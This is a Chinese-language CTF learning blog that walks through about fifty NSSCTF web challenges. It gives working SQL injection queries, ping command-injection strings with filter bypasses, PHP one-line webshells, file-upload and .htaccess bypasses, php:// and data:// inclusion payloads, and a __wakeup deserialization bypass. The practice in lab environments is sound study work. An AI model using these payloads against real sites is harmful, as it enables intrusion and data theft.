NSSCTF-Web做题笔记(1~50)
解题思路记录
博主按NSSCTF-Web板块的顺序进行Web练习,并记录心得如下!
注:由于题目数量较多,篇幅过长,使用时请找到指定题目,点击目录快速到达;返回时可点击左下角↑ xx%
按钮即回到目录
- 382_[SWPUCTF 2021 新生赛]gift_F12
- 384_[SWPUCTF 2021 新生赛]jicao
- 386_[SWPUCTF 2021 新生赛]easy_md5 –弱比较 –数组绕过
- 427_[SWPUCTF 2021 新生赛]include –PHP伪协议 –文件包含漏洞
- 387_[SWPUCTF 2021 新生赛]easy_sql –字符型注入
- 424_[SWPUCTF 2021 新生赛]easyrce –eval() –命令执行函数
- 383_[SWPUCTF 2021 新生赛]caidao –同424
- 3861_[LitCTF 2023]我Flag呢?
- 385_[SWPUCTF 2021 新生赛]Do_you_know_http –HTTP浏览器修改 –HTTP请求IP更改
- 425_[SWPUCTF 2021 新生赛]babyrce –空格绕过 –/绕过 –命令执行函数
- 344_[第五空间 2021]WebFTP –目录扫描 –phpinfo()
- 426_[SWPUCTF 2021 新生赛]ez_unserialize –反序列化 –对象反序列化字串解读
- 423_[SWPUCTF 2021 新生赛]easyupload2.0 –文件上传 –文件后缀绕过
- 3865_[LitCTF 2023]PHP是世界上最好的语言!!
- 388_[SWPUCTF 2021 新生赛]easyupload1.0 –文件上传 –phpinfo()直出 –MIME绕过
- 3863_[LitCTF 2023]导弹迷踪 –不知道怎么评价
- 429_[SWPUCTF 2021 新生赛]no_wakeup –反序列化 –魔术方法绕过 –
__wakeup()
绕过 - 441_[SWPUCTF 2021 新生赛]PseudoProtocols –PHP伪协议 –file_get_contents() –文件包含漏洞 –data://text/plain伪协议
- 958_[NCTF 2018]签到题
- 2011_[NISACTF 2022]easyssrf –PHP伪协议 –SSRF漏洞 –stristr()
- 3864_[LitCTF 2023]Follow me and hack me
- 3873_[LitCTF 2023]Ping –ping命令注入
- 713_[BJDCTF 2020]easy_md5 –弱比较 –数组绕过 –md5() –MySQL特性
- 2074_[NSSCTF 2022 Spring Recruit]ezgame
- 19_[suctf 2019]EasySQL –SQL注入 –SQL注入类型 –堆叠注入
- 22_[ZJCTF 2019]NiZhuanSiWei –PHP伪协议 –file_get_contents() –反序列化 –preg_match() –有问题尚未解决
- 1096_[GXYCTF 2019]Ping Ping Ping –ping命令注入 –空格绕过 –flag字串绕过
- 439_[SWPUCTF 2021 新生赛]hardrce –命令执行函数 –preg_match()绕过 –URL取反绕过
- 436_[SWPUCTF 2021 新生赛]easyupload3.0 –文件上传 –.htaccess –有问题尚未解决
- 428_[SWPUCTF 2021 新生赛]error –SQL注入 –报错注入 –flag分段显示
- 3871_[LitCTF 2023]1zjs –JSFuck加密
- 2640_[SWPUCTF 2022 新生赛]ez_ez_php –PHP伪协议 –文件包含漏洞
- 440_[SWPUCTF 2021 新生赛]pop –反序列化 –pop链 –
__toString()
调用前提 - 3867_[LitCTF 2023]作业管理系统 –文件上传
- 3053_[UUCTF 2022 新生赛]websign
- 2422_[鹏城杯 2022]简单包含 –文件包含漏洞 –脏数据伪协议绕过
- 442_[SWPUCTF 2021 新生赛]sql –SQL注入 –空格绕过 –等号绕过 –注释符绕过 –substr()绕过
- 438_[SWPUCTF 2021 新生赛]finalrce –Linux指令绕过 –tee指令
- 3869_[LitCTF 2023]Http pro max plus –HTTP请求IP更改 –Referer信息头 –Via信息头
- 3786_[HDCTF 2023]Welcome To HDCTF 2023 –JSFuck
- 3866_[LitCTF 2023]Vim yyds –vim泄露 –.swp文件恢复
- 2076_[NSSCTF 2022 Spring Recruit]babyphp –强比较 –弱比较 –intval()
- 2900_[HNCTF 2022 Week1]Interesting_include –文件包含漏洞 –PHP伪协议 –有问题尚未解决
- 463_[鹤城杯 2021]EasyP –文件包含漏洞 –
$_SERVER['REQUEST_URI']
绕过 –$_SERVER['REQUEST_SELF']
绕过 –basename()利用 - 2602_[HUBUCTF 2022 新生赛]checkin –反序列化 –bool弱比较绕过
- 3740_[GDOUCTF 2023]EZ WEB –Flask –HTTP请求方式修改
- 2821_[SWPUCTF 2022 新生赛]ez_ez_php(revenge) –PHP伪协议 –文件包含
- 3700_[GDOUCTF 2023]泄露的伪装 –目录扫描 –www.rar下载 --file_get_contents()绕过
- 2898_[HNCTF 2022 Week1]2048 –JS分析
- 3090_[UUCTF 2022 新生赛]ez_rce –命令执行函数 –反引号绕过 –反斜杠绕过 –eval()支持函数 –有问题尚未解决
382_[SWPUCTF 2021 新生赛]gift_F12
进入环境,根据题目提示,F12检查,在文本中使用ctrl+F查找关键字flag即可
384_[SWPUCTF 2021 新生赛]jicao
进入环境得到PHP代码,审查传入的两个参数“id”和“json”
1 | <?php |
选择Firefox,使用HackBar,加载地址后选择“Post data”,在网址后写入GET参数,在下方框中写入POST参数,点击execute执行得到flag
386_[SWPUCTF 2021 新生赛]easy_md5 –弱比较 –数组绕过
进入环境得到PHP代码,审计发现关键代码如下
1 | $name = $_GET['name']; # 接受GET方式传入的name参数 |
法1:通用法,数组绕过,原理是利用md5()函数无法对数组加密,当参数为数组时,md5()会直接返回null,故等式两边均为null,=> True
法2:适用于强比较“===”,构造两个MD5码相同的不同字符串,构造原理是MD5码碰撞
法3:适用于弱比较“==”,构造两个不同字符串,其MD5码以“0e”开头且“0e”后无字母;此类字符串在被用于比较或算术运算时,PHP会尝试将它们转换为数字;因为”0e”在PHP中被解释为科学计数法,且0的任何正整数次方都为0,故当两个参数的MD5码均为“0e”开头时,等式两边均为0,=> True
由代码易知本题为MD5码的弱比较,适用法1(name[]=123, password[]=1)、法3,以下给出符合法3要求的一些字符串,任意输入两个作为name和password即得到flag
字符串 | MD5哈希值 |
---|---|
MMHUWUV | 0e701732711630150438129209816536 |
MAUXXQC | 0e478478466848439040434801845361 |
IHKFRNS | 0e256160682445802696926137988570 |
427_[SWPUCTF 2021 新生赛]include –PHP伪协议 –文件包含漏洞
根据提示传入file参数,得到PHP代码,得到flag位置:flag.php
由题目提示,本题知识点为文件包含漏洞,需构造PHP伪协议来获取指定文件源码,其通式如下:
1 | 变量=php://filter/read=过滤器/resource=目标文件 |
大多数情况下,过滤器使用convert.base64-encode,博主也遇到过在过滤器上做文章的题,不过本题不是
于是根据通式构建本题题解“变量=php://filter/read=convert.base64-encode/resource=flag.php”,得到Base64字符串
利用在线工具进行Base64解码,得到flag:NSSCTF{3beb5044-dd5e-4c2c-828c-52e2dad60765}
387_[SWPUCTF 2021 新生赛]easy_sql –字符型注入
进入环境,根据标签页名提示,随机输入参数wllm=1,显示信息;据题目名字可知为SQL注入,先尝试传参判断注入类型
1 | /?wllm=1 # 出现提示 |
利用“order by”语句获得当前表的字段数(列数)
order by:根据表的第几列数据来进行表数据的排序;当然,如果列数不存在,肯定会报错
1 | /?wllm=1' order by 1~10 # 信息未改变,推测这里存在对1的限制 |
由于“select”语句特性,即当SELECT语句中包含静态值时,数据库会将这些值作为查询结果的一部分返回;结合列数,利用“union”构造语句查找回显点,即找出程序会返回表的哪几列
1 | /?wllm=2' union select 1,2,3 --+ # 得到回显点反馈如下 |
由图知,程序返回第2/3列数据,据此探查数据库基本信息
1 | # 返回当前数据库名 |
1 | # 返回所有数据库名 |
1 | # 测试test_db,返回库中所有表的表名 |
1 | # 测试两个表的所有列(字段),找到flag位置 |
1 | # 直接查询flag |
424_[SWPUCTF 2021 新生赛]easyrce –eval() –命令执行函数
进入环境得到PHP代码,审计发现程序中使用eval()函数
eval()函数允许将传入的字符串作为PHP代码执行,本题即利用此点,以下是博主编文至此使用过的的eval()中使用的命令执行函数
命令执行函数 | 参数说明 | 使用效果 |
---|---|---|
system() | 传入一个shell语句字符串 | 直接返回shell语句运行结果 |
$x = popen() | 第一个参数为路径,第二个参数为模式(r、w) | 以读写模式打开一个到外部命令的管道,并返回 |
exec() | 传入一个shell语句字符串 | 执行语句但不返回结果 |
先通过system()来尝试获取目录结构
1 | /?url=system("ls /"); |
直接读取flag所处文件,得到flag
1 | /?url=system("cat /flllllaaaaaaggggggg"); |
383_[SWPUCTF 2021 新生赛]caidao –同424
做法完全同424,只需要以POST方式传入参数wllm,省略
3861_[LitCTF 2023]我Flag呢?
做法完全同382,按F12搜索flag关键字即可,省略
385_[SWPUCTF 2021 新生赛]Do_you_know_http –HTTP浏览器修改 –HTTP请求IP更改
进入环境得到提示,结合题目,使用BurpSuite对HTTP数据包进行抓取并修改,以下为关键数据的按行解读
行号 | 请求信息 | 解读 |
---|---|---|
1 | GET /hello.php HTTP/1.1 | 这是一个GET请求,请求的资源是/hello.php,使用的HTTP版本是1.1 |
2 | Host: | 请求的目标主机和端口号 |
3 | Accept-Language: | 请求者希望服务器返回的语种 |
4 | User-Agent: | 请求者的用户代理信息,包括操作系统、浏览器类型和版本号等 |
5 | Accept: | 请求者可以接受的媒体类型 |
6 | Accept-Encoding: | 请求者可以接受的内容编码类型 |
题目要求使用WLLM浏览器,故修改“User-Agent”信息头的信息为WLLM,得到Response信息如下
观察到Location信息头返回了一个新的.php文件,访问
根据提示,需要在“local”,也就是主机本地才能访问得到下一步提示,故需修改客户端IP为127.0.0.1
网上查阅得知,指定请求方真实IP的方式:添加信息头X-Forwarded-For
附:X-Forwarded-For: client1, proxy1, proxy2, …
参数名 | 含义 |
---|---|
client | 客户端的真实IP地址 |
proxy | 经过的代理或负载均衡器的IP地址 |
进入新给出的.php文件,得到flag
425_[SWPUCTF 2021 新生赛]babyrce –空格绕过 –/绕过 –命令执行函数
进入环境得到PHP代码,审计发现要求修改cookie,输入admin=1,利用HackBar完成,execute执行后得到提示
进入新的.php文件,审计代码发现命令执行函数shell_exec(),其将结果存于变量中,再输出该变量
审计代码还能发现程序将空格与斜杠符”/“屏蔽,故需要绕过,这里学到的是通过url编码字符进行绕过,查阅知
字符 | URL编码 |
---|---|
空格 | %09 |
/ | %2f |
故构造shell语句传入参数url中,获取基础信息
1 | # 获取目录结构 |
利用cat命令输出目标文件,得到flag
1 | # 输出目标文件 |
344_[第五空间 2021]WebFTP –目录扫描 –phpinfo()
进入环境,无明显提示,F12搜素关键字也无果,对两个输入框初步尝试仍然没有头绪,扫描目录(自己写了个,练练手ʕ ᵔᴥᵔ ʔ)发现线索
结果显示有两个关键文件存在,先查看phpinfo.php,ctrl+F搜索flag关键字得到答案
426_[SWPUCTF 2021 新生赛]ez_unserialize –反序列化 –对象反序列化字串解读
进入环境,欣赏半分钟胡桃摇,无果,开始扫描目录 => 嗯?这么快?
对两个关键文件都进行搜索,flag.php为空,robots.txt给出了提示信息
1 | User-agent: * |
进入提示.php文件,得到PHP代码,行,没见过反序列化,开始学,以下是据本题所学到的对象序列化字串的格式及解读,日后的日后再说
1 | # 示例 |
字符 | 解读 |
---|---|
O: | 表示序列化的元素是对象 |
4: | 表示对象的类名为4个字符 |
“test”: | 对象的类名 |
2: | 表示对象有两个属性 |
s: | 第一个属性名,肯定是字符型 |
4: | 第一个属性名有4个字符 |
“ * a”; | 第一个属性名(见注) |
s: | 第一个属性值的类型 |
9: | 第一个属性值有9个字符 |
“xiaoshizi”; | 第一个属性值 |
s: | 第二个属性名类型 |
7: | 第二个属性有7个字符 |
“ test b”; | 第二个属性名(见注) |
s: | 第二个属性值为字符型 |
8: | 有8个字符 |
“laoshizi”; | 第二个属性值 |
注:如果变量前是protected,则会在变量名前加上\x00*\x00
,private则会在变量名前加上\x00类名\x00
学完了,再来看题,很明显,以GET方式传入一个序列化字串做参数p即可,手拿把掐
1 | # 序列化元素为对象,类名为wllm,有两个属性 |
传入参数后得到flag
423_[SWPUCTF 2021 新生赛]easyupload2.0 –文件上传 –文件后缀绕过
进入环境,拔剑四顾心茫然ヽ(゜Q。)ノ?,看题目名字,得,先学吧
1 | # 原理:用户上传可执行脚本文件对整个网站甚至服务器进行控制,这个脚本又叫Webshell |
本地编个.php文件试试看:<?php @eval (system("ls /")); ?>
,结果返还提示:php是不行滴,看来是被限制了
查阅得知,.php文件还可以修改为.phtml(含PHP代码的.html文件)后缀且不影响功能,用BurpSuite抓包改一下,出现提示
进入提示.phtml文件,得到命令执行函数的运行结果
没有思路,决定先理清目录结构
1 | # 执行命令:pwd |
露出马脚,直接cat看一看,发现flag
1 | # 执行命令:cat /app/flag.php |
3865_[LitCTF 2023]PHP是世界上最好的语言!!
进入环境,根据题目提示,先一句话试试水:<?php @eval(system("cat /flag");?>
,直接给出结果
388_[SWPUCTF 2021 新生赛]easyupload1.0 –文件上传 –phpinfo()直出 –MIME绕过
进入环境,根据题目判断为文件上传问题,先尝试构建一个一句话木马试试水
1 | <?php @eval(system("pwd");?> #返回:想啥呢 |
这里只能看出来是代码存在一定防护机制,但看不出来针对于哪个地方;没办法,上网搜一下一般监测点
监测点 | 绕过 |
---|---|
Content-Type | 文件类型绕过 |
filename | 文件头、文件后缀名绕过 |
文件内容 | 指定字符、指定格式绕过 |
一个个尝试下,首先是Content-Type,由于题中页面给出信息“upload1.jpg”,所以将Content-Type改为图片对应值,出现新的变动
接下来老套路了,先理清目录结构 => 找到马脚 => 手拿把掐
1 | # 运行:pwd |
惊吓吗,flag是错的,继续找吧;这里在找资料时发现一句新的代码:<?php phpinfo();?>
,据说好用,走走看
真好用> . <,下为结算画面
3863_[LitCTF 2023]导弹迷踪 –不知道怎么评价
进入环境,好消息,有游戏玩;坏消息,在戏耍你
我天生不爱游戏,选择一点点搜着看JS源代码,f、l、a、g都看了遍T _ TT _ T,没结果,还有几个.js文件,接着看
在/src/game.js可以找到,给出如下
429_[SWPUCTF 2021 新生赛]no_wakeup –反序列化 –魔术方法绕过 –__wakeup()
绕过
进入环境,点击获得PHP代码,和426一模一样,只有类名和passwd更改了,直接套用:O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
,得到结果
好吧其实不太一样,注意其中$this->passwd = sha1($this->passwd);
,passwd经过了一次加密,这里先介绍反序列化的魔术方法
魔术方法 | 描述 |
---|---|
serialize() |
将对象转换成字符串 |
unserialize() |
将字符串还原成一个对象,触发条件:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法 |
__toString() |
在将一个对象转化成字符串时自动调用,比如使用echo打印对象时 |
__construct() |
创建对象时触发 |
__destruct() |
对象被销毁时触发 |
__wakeup() |
unserialize()时,会检查是否存在一个__wakeup()魔术方法。存在,则该方法会先被调用 |
__call() |
在对象上下文中调用不可访问的方法时触发 |
__invoke() |
在脚本尝试将对象调用为函数时触发 |
__callStatic |
在静态上下文中调用不可访问的方法时触发 |
__get |
用于从不可访问的属性读取数据 |
__set |
用于将数据写入不可访问的属性 |
__isset() |
在不可访问的属性上调用isset()或empty()时触发 |
__unset() |
在不可访问的属性上使用unset()时触发 |
此题学习其中第六个方法的绕过,网上查阅得知:针对__wakeup()
方法有一个CVE漏洞,CVE-2016-7124
CVE-2016-7124:当反序列化一个包含特定属性的对象时,如果对象的属性数量在序列化字符串中被错误地指定(即大于或小于对象实际具有的属性数量),那么PHP可能会跳过__wakeup()
魔术方法的执行
于是修改一下:O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
,出现flag
441_[SWPUCTF 2021 新生赛]PseudoProtocols –PHP伪协议 –file_get_contents() –文件包含漏洞 –data://text/plain伪协议
进入环境,根据提示,有hint.php需要找到,但直接输入该文件却不显示
注意到上方URL地址处自动带了一个变量=,联想到构造PHP伪协议读取文件,同427
于是,构造wllm=php://filter/read=convert.base64-encode/resource=hint.php
,得到Base64编码后的提示
进入提示.php文件,得到PHP代码,审计发现函数file_get_contents()不认识,学吧
string file_get_contents ( string filename [, bool use_include_path = false [, resource context = NULL [, int offset = 0 [, int $maxlen = NULL ]]]] )
参数名称 | 是否必需 | 描述 | 默认值 |
---|---|---|---|
$filename | 是 | 要读取的文件或 URL | 无 |
$use_include_path | 否 | 如为 true ,则 PHP 会在 include_path 中查找文件。 |
false |
$context | 否 | 指定上下文资源,可以修改文件流的行为 | NULL |
$offset | 否 | 从文件的哪个位置开始读取。 | 0(即从文件开头开始) |
$maxlen | 否 | 最多读取多少字节。 | NULL(即读取整个文件) |
奇怪的是,我并没有找到这里关于参数’r’的定义;不过这不影响做题,我们只需要让变量$a是一个文件,且文件内容为”I want flag”即可,于是构造PHP伪协议,不过我不会,又学
查阅得知,适用该魔术方法的伪协议为data://text/plain
,学一下
data://text/plain:允许内联数据作为文件资源来使用,text/plain为资源类型,后跟“,资源”
尝试构建PHP伪协议:?a=data://text/plain,I want flag
,成功得到flag
958_[NCTF 2018]签到题
进入环境,发现是百度的界面,也不是给的贴图,是真的百度界面
分析JS源码,找flag关键字,没找到;curl抓包,被调戏;利用自己写的脚本遍历一下目录,露出马脚
接着用curl抓包/index.php,发现flag
2011_[NISACTF 2022]easyssrf –PHP伪协议 –SSRF漏洞 –stristr()
进入环境,被搞的一脸懵,回头看题名,选择先学SSRF是个啥,以下是询问文心一言的结果
类别 | 内容 |
---|---|
定义与原理 | SSRF(Server-Side Request Forgery)允许攻击者构造请求,并由服务端发起请求,以访问或攻击内网无法从外网直接访问的系统或服务。其原理在于服务端提供了从其他服务器应用获取数据的功能,但并未对目标地址进行充分的过滤和限制。 |
漏洞成因 | 1. 服务端提供了从其他服务器应用获取数据的功能。 2. 服务端没有对目标地址进行过滤与限制。 |
漏洞利用方式 | 1. 端口扫描 2. 攻击内网应用 3. 指纹识别 4. 读取本地文件 5. DoS攻击 |
常用URL伪协议 | 1. file:// 2. dict:// 3. sftp:// 4. ldap:// 5. tftp:// 6. gopher:// |
防御措施 | 1. 禁用不需要的协议,如file://, gopher://, ftp://等。 2. 设置URL白名单或限制内网IP访问。 3. 限制请求的端口为HTTP常用端口,如80、443等。 4. 过滤返回信息,避免泄露敏感信息。 5. 统一错误信息,防止攻击者根据错误信息判断远端服务器的端口状态。 |
好,很符合我现在的困境,一个个试试看,首先是file://,随便给个试试
1 | file:///bin # 返回:害羞羞,试试其他路径? |
到这里,出现线索没有用上的地方,直接在URL上访问这个文件
行,这个函数又不认识,学
**string stristr ( string haystack , mixed needle [, bool $before_needle = FALSE ] )**,用于在字符串中查找子字符串的首次出现,如果找到子字符串,则返回从该位置到字符串末尾的所有字符;如果没有找到,则返回 FALSE
参数 | 描述 | 类型 | 默认值 |
---|---|---|---|
haystack | 要搜索的字符串 | string | 必填 |
needle | 要查找的子字符串,如果不是字符串则会被转换为整型并应用为字符的顺序码 | mixed | 必填 |
before_needle | 如果设置为TRUE ,则返回needle 在haystack 中出现之前的部分 |
bool | FALSE |
也就是说我的参数file中不能出现字串“file”,再加上结尾的file_get_contents()函数,直接让file参数找flag文件位置即可,找到即得到flag
1 | ?file=flag # 无结果 |
回头看了看佬们的WriteUp,发现了一种新的办法:?file=php://filter/read=convert.base64-encode/resource=/flag
将Base64编码解码后,同样能得到flag
3864_[LitCTF 2023]Follow me and hack me
进入环境,根据提示,用HackBar分别传入指定参数,得到flag
3873_[LitCTF 2023]Ping –ping命令注入
进入环境,随便输入一个域名www.baidu.com
,得到警告要求只能输入ip,查看网页源代码得到JS函数
1 | function check_ip(){ |
没有思路就去看博客,发现ping指令存在命令注入漏洞:在无waf的情况下,可以直接在ping的ip后面利用;
添加shell命令,试试看
接下来就好办了
1 | 127.0.0.1;ls / # 返回:bin dev etc flag home lib …… |
结算画面
713_[BJDCTF 2020]easy_md5 –弱比较 –数组绕过 –md5() –MySQL特性
进入环境,先输俩数进去,没反应,curl抓包试一试,出现提示
根据hint提示,猜想是SQL注入,后面的md5()函数带了个参数true,分析其意思
string md5 ( string str [, bool $raw_output = FALSE ] )
参数 | 含义 |
---|---|
$str | 需要计算哈希值的字符串 |
$raw_output | 如果为true,则输出原始的二进制数据;如果为false,则输出十六进制数 |
即需使password=md5($pass, true)
为真,查阅得知MySQL有以下特性
在MySQL里,用作布尔型判断时,以数字开头的字符串会被当做整型数
故只需要构造password=''or'1xxxxxxx'
型字符即可,网上搜了一个:ffifdyop,输入,查看网页源代码,得到下一步提示
这就好办了,直接数组绕过传参,具体原理见386,得到下一步PHP代码
一样的操作,得到flag
2074_[NSSCTF 2022 Spring Recruit]ezgame
进入环境,直接找源码,不想被折磨,一共两个.js文件
还是玩了把,结束字段有“Your”,于是ctrl+F查找flag、Your,找到flag
19_[suctf 2019]EasySQL –SQL注入 –SQL注入类型 –堆叠注入
进入环境,根据题目,显然是SQL注入知识点,可以先来系统性学一下SQL注入的类型
类型 | 解释 |
---|---|
联合注入 | 即使用”union select”语句,又分字符型与数字型注入 |
布尔盲注 | Web的页面的仅仅会返回True和False,布尔盲注就是根据页面返回的True或者是False来得到数据库中的相关信息 |
时间盲注 | 利用sleep()或benchmark()等函数使程序睡眠,通过页面的响应时间长短来判断返回值是true还是false,从而猜解字段 |
宽字注入 | \ |
报错注入 | 通过特殊函数错误使用并使其输出错误结果来获取信息 |
堆叠注入 | MySQL的多语句查询格式,语句间使用分号隔开 |
二次注入 | 攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入 |
根据解释,一一尝试,由于URL上并未显示参数,初步判定参数以POST方式上传
1 | 1 # Array ( [0] => 1 ) |
显然,由于没有给出报错、True、False等信息,且程序似乎将' ~~~ '
格式的字串识别为注入字串;在不考虑存在黑名单字符检测的情况下,剩下堆叠注入和二次注入;根据刚学的堆叠注入,尝试query=1; select 1,2,3
,得到反馈
也即该题为堆叠注入类型,可执行多条MySQL查询语句,反复尝试
1 | query=1; select 1,2,group_concat(schema_name) from information_schema.schemata --+ # Nonono. |
根据所测试的样例及返回的结果,程序应当是对select的参数进行检测:对k个参数检测,如果非合法输入,则不返回或No;对最后一个参数进行更严格的检测,只要非数字,即不返回或No,对数字进行true和false的判断,故可以尝试将通配符*置于前k-1个参数位
1 | query=1; select 2,3,4,5,* # 空 |
看来前面的猜测还有点错,不过不影响我们解出答案╮( ˘ 、 ˘ )╭
22_[ZJCTF 2019]NiZhuanSiWei –PHP伪协议 –file_get_contents() –反序列化 –preg_match() –有问题尚未解决
进入环境得到PHP代码(好久没遇到这么单纯的题了),审计代码如下
1 | $text = $_GET["text"]; # GET方式传参 |
来吧,学习一下preg_match(),以下是结合文心一言的信息
**int preg_match ( string pattern , string subject [, array &matches [, int flags = 0 [, int $offset = 0 ]]] )**,用于字符串的匹配,匹配成功返回1,失败返回0,错误返回false
参数 | 类型 | 说明 |
---|---|---|
pattern | string | 要搜索的模式,即正则表达式。这个字符串必须是一个有效的正则表达式,否则 preg_match() 会返回 FALSE 并可能产生一个警告(取决于错误处理设置) |
subject | string | 要进行搜索的字符串 |
matches | array | 如果提供了这个参数,并且匹配成功,它将被填充为包含结果的数组。第一个元素(matches[0])将包含整个匹配到的字符串,随后的元素是捕获的子模式匹配结果 |
flags | int | 这个参数可以设置为 PREG_OFFSET_CAPTURE,这样 matches 数组中返回的每个匹配结果都会附加一个额外的元素,表示该匹配在 subject 字符串中的偏移量 |
offset | int | 从 subject 字符串的哪个位置开始进行搜索。默认为 0,即从字符串的开头开始。如果 offset 大于字符串的长度,preg_match() 将返回 FALSE |
这下子明确了,开始对三个参数进行处理
1 | text=data://tetx/plain,welcome to the zjctf |
枯了,死活出不来,只好去看大佬的WriteUp;诶,也没啥不一样啊,步骤都对啊?哦,file=useless.php才行啊?
这下才出来flag了,不过我还是不理解这是为什么,留待日后解决;不过也要打个醒,不是啥参数都是PHP伪协议
1096_[GXYCTF 2019]Ping Ping Ping –ping命令注入 –空格绕过 –flag字串绕过
进入环境,霍,刚学,见3873,直接127.0.0.1;
后跟shell语句
1 | ;pwd # /var/www/html |
到这里就很刻意了,代码将空格放入了黑名单,而flag.php也在当前目录中,于是想办法绕过空格符即可,直接cat<flag.php
好吧不止有空格在黑名单中,cat、<、或者flag也在,试试
1 | ;ls</ # 空 |
根据上述尝试,应该是flag被监测了,查找在shell语句中空格的绕过方法
$IFS$ |
$IFS$6 (其他数字亦可) |
${IFS} |
< |
<> |
%20(space) |
%09(Tab) |
---|
对上述一一尝试
1 | ;echo<hello |
行,就用$IFS
,接下来是flag,不过注意到除了flag还有一个index.php,cat$IFS$index.php
康康它,得到黑名单
问题还是回归到如何绕过flag字串,这里学习到了两种好用的方法
代码 | 原理 |
---|---|
;cat$IFS$1`ls` | Linux会先执行反引号下面的语句,并将执行结果返回原式继续运行 |
;a=f;cat$IFS$$alag.php | 字符拼接,先定义字符变量a,再在命令中使用$a代替f |
这里取第一种(注意,这里必须使用带数字的空格替换方式,否则不会出现flag)作为演示,flag如下
439_[SWPUCTF 2021 新生赛]hardrce –命令执行函数 –preg_match()绕过 –URL取反绕过
进入环境得到PHP代码,审计得到flag’的要求如下
1 | # GET方式传入参数wllm |
这个不能用字母太伤了点,第一时间想到的不应该是满足要求,而是如何绕过,以下为搜索到的preg_match()的常用绕过方法
方式 | 做法 |
---|---|
数组绕过 | 即令传入的参数为数组:wllm[]=~~ |
利用PCRE回溯次数限制绕过 | preg_match()的回溯次数默认为1000000次,采用函数str_repeat()强行输入同一字串多次 |
换行符绕过 | 在参数前面添加换行符%0a:wllm=%0a~~ |
由于blacklist中将换行符\n
包含,故尝试前两种方法
1 | /?wllm[]=123 # NoVic4说:不错哦小伙子,可你能拿到flag吗? |
测试出实际可行的方法为数组绕过,但是eval()函数只接受字符串做参数,故还是需要想办法满足其全部要求
经查询,对“无数字、字母”要求的参数输入,有以下几种:取反、异或、自增,有些操作其实PHP代码会跟简单,但谁叫我喜欢Python呢
1 | # 取反 |
这个一写完就已经不想动了,直接拿system("pwd")
试了试,成功!其他的两个就容我下次再学吧(‘-‘*ゞ
1 | system("ls /") |
一如既往的单纯呐,直接system("cat /flllllaaaaaaggggggg")
就出来了
436_[SWPUCTF 2021 新生赛]easyupload3.0 –文件上传 –.htaccess –有问题尚未解决
进入环境,发现标签页的提示让我看不懂了,再去查一下文件上传漏洞,发现能够契合提示的上传方式
.htaccess:是Apache服务器中的一个配置文件,它负责相关目录下的网页配置;通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能;启动.htaccess,需要在服务器的主配置文件中将AllowOverride设置为All;以下为搜索到的.htaccess文件常见的使用方法
功能描述 | .htaccess 配置示例 |
---|---|
重定向URL | Redirect 301 /old-page.html /new-page.html |
URL重写 | RewriteEngine On<br>RewriteRule ^products/([0-9]+)$ product.php?id=$1 |
禁止访问文件或目录 | Deny from all |
自定义错误页面 | ErrorDocument 404 /error404.html |
访问权限控制 | Order deny,allow<br>Deny from all<br>Allow from 192.168.0.1 |
设置默认文档 | DirectoryIndex index.php index.html |
压缩文件 | <IfModule mod_deflate.c><br>AddOutputFilterByType DEFLATE text/html text/plain text/xml<br></IfModule> |
防止目录列表 | Options -Indexes |
设置缓存 | <IfModule mod_expires.c><br>ExpiresActive On<br>ExpiresDefault "access plus 1 week"<br></IfModule> |
强制使用HTTPS | RewriteEngine On<br>RewriteCond %{HTTPS} off<br>RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301] |
配置HTTP身份验证 | AuthType Basic<br>AuthName "Restricted Area"<br>AuthUserFile /path/to/.htpasswd<br>Require valid-user |
设置PHP配置 | php_value upload_max_filesize 10M<br>php_value memory_limit 256M |
定义自定义错误页面 | ErrorDocument 404 /404.html<br>ErrorDocument 500 /500.html |
禁止特定文件类型 | `<FilesMatch “.(php |
设置响应头信息 | <IfModule mod_headers.c><br>Header set Cache-Control "no-cache, no-store, must-revalidate"<br>Header set Access-Control-Allow-Origin "*"<br></IfModule> |
配置URL重定向规则 | RewriteEngine On<br>RewriteRule ^news/([0-9]+)/?$ article.php?id=$1 [L] |
设置URL重定向和查询字符串处理 | RewriteEngine On<br><br># Redirect "/about" to "/pages/about"<br>RewriteRule ^about$ /pages/about [L,R=301]<br><br># Rewrite "/product?id=123" to "/product/123"<br>RewriteCond %{QUERY_STRING} ^id=(\d+)$<br>RewriteRule ^product$ /product/%1 [L,R=301] |
自定义目录索引 | Options +Indexes<br>IndexOptions FancyIndexing |
上述仅为知识普及,这里才是解题需要学习的.htaccess的编写,先传一个.php文件试试
1 | filename="shangchuan.php" # 被挡 |
初步认为网页只允许.jpg后缀的文件上传,于是创建.htaccess文件并实现.jpg文件以.php脚本的方式运行
1 | <FilesMatch "436_shangchuan.jpg"> |
于是先上传.htaccess文件,退回后再上传.jpg文件,???
回过头看佬们的WriteUp,也是一样的啊,我还是没找出来哪里的错
又试了一次,这次又不一样了,是我没有绕过去嘛,,,
428_[SWPUCTF 2021 新生赛]error –SQL注入 –报错注入 –flag分段显示
进入环境,尝试向框中输入随机字符乱码,出现提示
明确是SQL注入知识点,按照19记载的各种类型进行尝试
1 | 2-1 # 2-1 |
很显然二次注入也不能是,只能是报错注入了,查了查报错注入的常用语句及函数
函数 | 参数释义 |
---|---|
updatexml(XML_document, XPath_string,new_value); |
XML_document:String格式,为XML文档对象的名称 XPath_string:Xpath语法的查询语句 new_value:String格式,替换查找到的数据 |
extractValue(XML_document, XPath_string); |
XML_document:String格式,为XML文档对象的名称 XPath_string:Xpath语法的查询语句 |
先尝试使用函数updatexml(),由于需要使其报错、不修改原有数据库且随报错输出查询语句的结果,故参数1、3应当被忽略,以1代替;而为了能很好的在报错信息中找到关键输出,会使用concat函数以两个特殊符号将查询结果包围
1 | // 爆数据库 |
明显出现问题,flag只爆了一半出来,查阅得知原因是因为flag过长导致无法显示完全,使用substr()函数可以解决
1 | substr((select flag from test_tb),21,40) // 查询flag字段,查询范围为第21~40个字符 |
3871_[LitCTF 2023]1zjs –JSFuck加密
进入环境,又是巨多JS源码中找flag,不过这次下手轻了点,不需要往下翻就能看到
进入提示文件,(*  ̄︿ ̄)这是啥,问了文心一言,叫做JSFuck加密,解密只需要把密文复制后放到控制台console中输出即可
